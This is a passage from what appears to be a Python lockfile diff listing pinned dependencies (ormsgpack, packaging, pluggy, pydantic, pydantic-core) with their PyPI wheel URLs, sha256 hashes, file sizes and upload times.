"https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" }, + { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" }, + { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" }, + { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" }, +] + +[[package]] +name = "packaging" +version = "26.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pydantic" +version = "2.13.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/18/a5/b60d21ac674192f8ab0ba4e9fd860690f9b4a6e51ca5df118733b487d8d6/pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6", size = 844775, upload-time = "2026-05-06T13:43:05.343Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fd/7b/122376b1fd3c62c1ed9dc80c931ace4844b3c55407b6fb2d199377c9736f/pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba", size = 472262, upload-time = "2026-05-06T13:43:02.641Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.46.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" }, + { url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" }, + { url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" }, + { url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" }, + { url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" }, + { url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" }, + { url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" }, + { url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" }, + { url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" }, + { url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" }, + { url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" }, + { url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" }, + { url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" }, + { url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" }, + { url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" }, + { url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" }, + { url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" }, + { url = "https://files.pythonhosted.org/packages/ef/25/1ab42e8048fe551934d9884e8d64daa7e990ad386f310a15981aeb6a5b08/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9037063db01f09b09e237c282b6792bd4da634b5402c4e7f0c61effed7701a04", size = 2041051, upload-time = "2026-05-06T13:38:10.447Z" }, + { url = "https://files.pythonhosted.org/packages/94/c2/1a934597ddf08da410385b3b7aae91956a5a76c635effef456074fad7e88/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fc010ab034c8c7452522748bf937df58020d256ccae0874463d1f4d01758af8e", size = 2221314, upload-time = "2026-05-06T13:40:13.089Z" }, + { url = "https://files.pythonhosted.org/packages/02/6d/9e8ad178c9c4df27ad3c8f25d1fe2a7ab0d2ba0559fad4aee5d3d1f16771/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c5dac79fa1614d1e06ca695109c6105923bd9c7d1d6c918d4e637b7e6b32fd3", size = 2285146, upload-time = "2026-05-06T13:38:59.224Z" }, + { url = "https://files.pythonhosted.org/packages/80/50/540cd3aeefc041beb111125c4bff779831a2111fc6b15a9138cda277d32c/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9fa868638bf362d3d138ea55829cefb3d5f4b0d7f142234382a15e2485dbec4", size = 2089685, upload-time = "2026-05-06T13:38:17.762Z" }, + { url = "https://files.pythonhosted.org/packages/6b/a4/b440ad35f05f6a38f89fa0f149accb3f0e02be94ca5e15f3c449a61b4bc9/pydantic_core-2.46.4-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:17299feefe090f2caa5b8e37222bb5f663e4935a8bfa6931d4102e5df1a9f398", size = 2115420, upload-time = "2026-05-06T13:37:58.195Z" }, + { url = "https://files.pythonhosted.org/packages/99/61/de4f55db8dfd57bfdfa9a12ec90fe1b57c4f41062f7ca86f08586b3e0ac0/pydantic_core-2.46.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4c63ebc82684aa89d9a3bcbd13d515b3be44250dc68dd3bd81526c1cb31286c3", size = 2165122, upload-time = "2026-05-06T13:37:01.167Z" }, + { url = "https://files.pythonhosted.org/packages/f7/52/7c529d7bdb2d1068bd52f51fe32572c8301f9a4febf1948f10639f1436f5/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:aaa2a54443eff1950ba5ddc6b6ccda0d9c84a364276a62f969bdf2a390650848", size = 2182573, upload-time = "2026-05-06T13:38:45.04Z" }, + { url = "https://files.pythonhosted.org/packages/37/b3/7c40325848ba78247f2812dcf9c7274e38cd801820ca6dd9fe63bcfb0eb4/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:18e5ceec2ab67e6d5f1a9085e5a24c9c4e2ac4545730bfe668680bca05e555f3", size = 2317139, upload-time = "2026-05-06T13:37:15.539Z" }, + { url = "https://files.pythonhosted.org/packages/d9/37/f913f81a657c865b75da6c0dbed79876073c2a43b5bd9edbe8da785e4d49/pydantic_core-2.46.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a0f62d0a58f4e7da165457e995725421e0064f2255d8eccebc49f41bbc23b109", size = 2360433, upload-time = "2026-05-06T13:37:30.099Z" }, + { url = "https://files.pythonhosted.org/packages/c4/67/6acaa1be2567f9256b056d8477158cac7240813956ce86e49deae8e173b4/pydantic_core-2.46.4-cp311-cp311-win32.whl", hash = "sha256:041bde0a48fd37cf71cab1c9d56d3e8625a3793fef1f7dd232b3ff37e978ecda", size = 1985513, upload-time = "2026-05-06T13:38:15.669Z" }, + { url = "https://files.pythonhosted.org/packages/aa/e6/c505f83dfeda9a2e5c995cfd872949e4d05e12f7feb3dca72f633daefa94/pydantic_core-2.46.4-cp311-cp311-win_amd64.whl", hash = "sha256:6f2eeda33a839975441c86a4119e1383c50b47faf0cbb5176985565c6bb02c33", size = 2071114, upload-time = "2026-05-06T13:40:35.416Z" }, + { url = "https://files.pythonhosted.org/packages/0f/da/7a263a96d965d9d0df5e8de8a475f33495451117035b09acb110288c381f/pydantic_core-2.46.4-cp311-cp311-win_arm64.whl", hash = "sha256:14f4c5d6db102bd796a627bbb3a17b4cf4574b9ae861d8b7c9a9661c6dd3362d", size = 2044298, upload-time = "2026-05-06T13:38:29.754Z" }, + { url = "https://files.pythonhosted.org/packages/ce/8c/af022f0af448d7747c5154288d46b5f2bc5f17366eaa0e23e9aa04d59f3b/pydantic_core-2.46.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2", size = 2106158, upload-time = "2026-05-06T13:38:57.215Z" }, + { url = "https://files.pythonhosted.org/packages/19/95/6195171e385007300f0f5574592e467c568becce2d937a0b6804f218bc49/pydantic_core-2.46.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f", size = 1951724, upload-time = "2026-05-06T13:37:02.697Z" }, + { url = "https://files.pythonhosted.org/packages/8e/bc/f47d1ff9cbb1620e1b5b697eef06010035735f07820180e74178226b27b3/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7", size = 1975742, upload-time = "2026-05-06T13:37:09.448Z" }, + { url = "https://files.pythonhosted.org/packages/5b/11/9b9a5b0306345664a2da6410877af6e8082481b5884b3ddd78d47c6013ce/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7", size = 2052418, upload-time = "2026-05-06T13:37:38.234Z" }, + { url = "https://files.pythonhosted.org/packages/f1/b7/a65fec226f5d78fc39f4a13c4cc0c768c22b113438f60c14adc9d2865038/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712", size = 2232274, upload-time = "2026-05-06T13:38:27.753Z" }, + { url = "https://files.pythonhosted.org/packages/68/f0/92039db98b907ef49269a8271f67db9cb78ae2fc68062ef7e4e77adb5f61/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4", size = 2309940, upload-time = "2026-05-06T13:38:05.353Z" }, + { url = "https://files.pythonhosted.org/packages/5f/97/2aab507d3d00ca626e8e57c1eac6a79e4e5fbcc63eb99733ff55d1717f65/pydantic_core-2.46.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce", size = 2094516, upload-time = "2026-05-06T13:39:10.577Z" }, + { url = "https://files.pythonhosted.org/packages/22/37/a8aca44d40d737dde2bc05b3c6c07dff0de07ce6f82e9f3167aeaf4d5dea/pydantic_core-2.46.4-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987", size = 2136854, upload-time = "2026-05-06T13:40:22.59Z" }, + { url = "https://files.pythonhosted.org/packages/24/99/fcef1b79238c06a8cbec70819ac722ba76e02bc8ada9b0fd66eba40da01b/pydantic_core-2.46.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b", size = 2180306, upload-time = "2026-05-06T13:40:10.666Z" }, + { url = "https://files.pythonhosted.org/packages/ae/6c/fc44000918855b42779d007ae63b0532794739027b2f417321cddbc44f6a/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458", size = 2190044, upload-time = "2026-05-06T13:40:43.231Z" }, + { url = "https://files.pythonhosted.org/packages/6b/65/d9cadc9f1920d7a127ad2edba16c1db7916e59719285cd6c94600b0080ba/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b", size = 2329133, upload-time = "2026-05-06T13:39:57.365Z" }, + { url = "https://files.pythonhosted.org/packages/d0/cf/c873d91679f3a30bcf5e7ac280ce5573483e72295307685120d0d5ad3416/pydantic_core-2.46.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c", size = 2374464, upload-time = "2026-05-06T13:38:06.976Z" }, + { url = "https://files.pythonhosted.org/packages/47/bd/6f2fc8188f31bf10590f1e98e7b306336161fac930a8c514cd7bd828c7dc/pydantic_core-2.46.4-cp312-cp312-win32.whl", hash = "sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894", size = 1974823, upload-time = "2026-05-06T13:40:47.985Z" }, + { url = "https://files.pythonhosted.org/packages/40/8c/985c1d41ea1107c2534abd9870e4ed5c8e7669b5c308297835c001e7a1c4/pydantic_core-2.46.4-cp312-cp312-win_amd64.whl", hash = "sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89", size = 2072919, upload-time = "2026-05-06T13:39:21.153Z" }, + { url = "https://files.pythonhosted.org/packages/c4/ba/f463d006e0c47373ca7ec5e1a261c59dc01ef4d62b2657af925fb0deee3a/pydantic_core-2.46.4-cp312-cp312-win_arm64.whl", hash = "sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a", size = 2027604, upload-time = "2026-05-06T13:39:03.753Z" }, + { url = "https://files.pythonhosted.org/packages/51/a2/5d30b469c5267a17b39dec53208222f76a8d351dfac4af661888c5aee77d/pydantic_core-2.46.4-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c476753519b423008", size = 2106306, upload-time = "2026-05-06T13:37:48.029Z" }, + { url = "https://files.pythonhosted.org/packages/c1/81/4fa520eaffa8bd7d1525e644cd6d39e7d60b1592bc5b516693c7340b50f1/pydantic_core-2.46.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c031f63df052b4", size = 1951906, upload-time = "2026-05-06T13:37:17.012Z" }, + { url = "https://files.pythonhosted.org/packages/03/d5/fd02da45b659668b05923b17ba3a0100a0a3d5541e3bd8fcc4ecb711309e/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f027324c56cd5406ca49c124b0db10e56c69064fec039acc571c29020cc87c76", size = 1976802, upload-time = "2026-05-06T13:37:35.113Z" }, + { url = "https://files.pythonhosted.org/packages/21/f2/95727e1368be3d3ed485eaab7adbd7dda408f33f7a36e8b48e0144002b91/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e739fee756ba1010f8bcccb534252e85a35fe45ae92c295a06059ce58b74ccd3", size = 2052446, upload-time = "2026-05-06T13:37:12.313Z" }, + { url = "https://files.pythonhosted.org/packages/9c/86/5d99feea3f77c7234b8718075b23db11532773c1a0dbd9b9490215dc2eeb/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9d56801be94b86a9da183e5f3766e6310752b99ff647e38b09a9500d88e46e76", size = 2232757, upload-time = "2026-05-06T13:39:01.149Z" }, + { url = "https://files.pythonhosted.org/packages/d2/3a/508ac615935ef7588cf6d9e9b91309fdc2da751af865e02a9098de88258c/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2412e734dcb48da14d4e4006b82b46b74f2518b8a26ee7e58c6844a6cd6d03c4", size = 2309275, upload-time = "2026-05-06T13:37:41.406Z" }, + { url = "https://files.pythonhosted.org/packages/07/f8/41db9de19d7987d6b04715a02b3b40aea467000275d9d758ffaa31af7d50/pydantic_core-2.46.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9551187363ffc0de2a00b2e47c25aeaeb1020b69b668762966df15fc5659dd5a", size = 2094467, upload-time = "2026-05-06T13:39:18.847Z" }, + { url = "https://files.pythonhosted.org/packages/2c/e2/f35033184cb11d0052daf4416e8e10a502ea2ac006fc4f459aee872727d1/pydantic_core-2.46.4-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf94aa00ae6bfb66262", size = 2134417, upload-time = "2026-05-06T13:40:17.944Z" }, + { url = "https://files.pythonhosted.org/packages/7e/7b/6ceeb1cc90e193862f444ebe373d8fdf613f0a82572dde03fb10734c6c71/pydantic_core-2.46.4-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5855698a4856556d86e8e6cd8434bc3ac0314ee8e12089ae0e143f64c6256e4e", size = 2179782, upload-time = "2026-05-06T13:40:32.618Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f2/c8d7773ede6af08036423a00ae0ceffce266c3c52a096c435d68c896083f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589828ef190226881cd", size = 2188782, upload-time = "2026-05-06T13:36:51.018Z" }, + { url = "https://files.pythonhosted.org/packages/59/31/0c864784e31f09f05cdd87606f08923b9c9e7f6e51dd27f20f62f975ce9f/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09e9a581cf10820be", size = 2328334, upload-time = "2026-05-06T13:40:37.764Z" }, + { url = "https://files.pythonhosted.org/packages/c2/eb/4f6c8a41efa30baa755590f4141abf3a8c370fab610915733e74134a7270/pydantic_core-2.46.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1bd6031236298a5d", size = 2372986, upload-time = "2026-05-06T13:39:34.152Z" }, + { url = "https://files.pythonhosted.org/packages/5b/24/b375a480d53113860c299764bfe9f349a3dc9108b3adc0d7f0d786492ebf/pydantic_core-2.46.4-cp313-cp313-win32.whl", hash = "sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb", size = 1973693, upload-time = "2026-05-06T13:37:55.072Z" }, + { url = "https://files.pythonhosted.org/packages/7e/e8/cff247591966f2d22ec8c003cd7587e27b7ba7b81ab2fb888e3ab75dc285/pydantic_core-2.46.4-cp313-cp313-win_amd64.whl", hash = "sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6d292", size = 2071819, upload-time = "2026-05-06T13:38:49.139Z" }, + { url = "https://files.pythonhosted.org/packages/c6/1a/f4aee670d5670e9e148e0c82c7db98d780be566c6e6a97ee8035528ca0b3/pydantic_core-2.46.4-cp313-cp313-win_arm64.whl", hash = "sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee238d", size = 2027411, upload-time = "2026-05-06T13:40:45.796Z" }, + { url = "https://files.pythonhosted.org/packages/8d/74/228a26ddad29c6672b805d9fd78e8d251cd04004fa7eed0e622096cd0250/pydantic_core-2.46.4-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e383761238c7fa9b96fb", size = 2102079, upload-time = "2026-05-06T13:38:41.019Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/8970b150a4b4365623ae00fc88603491f763c627311ae8031e3111356d6e/pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462", size = 1952179, upload-time = "2026-05-06T13:36:59.812Z" }, + { url = "https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9", size = 1978926, upload-time = "2026-05-06T13:37:39.933Z" }, + { url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4", size = 2046785, upload-time = "2026-05-06T13:38:01.995Z" }, + { url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914", size = 2228733, upload-time = "2026-05-06T13:40:50.371Z" }, + { url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28", size = 2307534, upload-time = "2026-05-06T13:37:21.531Z" }, + { url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b", size = 2099732, upload-time = "2026-05-06T13:39:31.942Z" }, + { url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c", size = 2129627, upload-time = "2026-05-06T13:37:25.033Z" }, + { 